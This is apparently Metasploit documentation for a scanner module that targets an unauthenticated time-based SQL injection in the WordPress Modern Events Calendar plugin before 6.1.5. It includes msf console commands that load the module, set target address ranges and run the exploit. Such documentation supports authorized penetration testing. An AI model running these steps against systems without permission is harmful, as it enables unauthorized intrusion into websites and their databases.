Modern Events Calendar plugin contains an unauthenticated timebased SQL injection in versions before 6.1.5. The time parameter is vulnerable to injection.

Module Ranking and Traits

Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

• crash-safe: Module should not crash the service.

Side Effects:

• ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/wp_modern_events_calendar_sqli
msf auxiliary(wp_modern_events_calendar_sqli) > show options
    ... show and set options ...
msf auxiliary(wp_modern_events_calendar_sqli) > set RHOSTS ip-range
msf auxiliary(wp_modern_events_calendar_sqli) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(wp_modern_events_calendar_sqli) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(wp_modern_events_calendar_sqli) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(wp_modern_events_calendar_sqli) > set RHOSTS file:/tmp/ip_list.txt
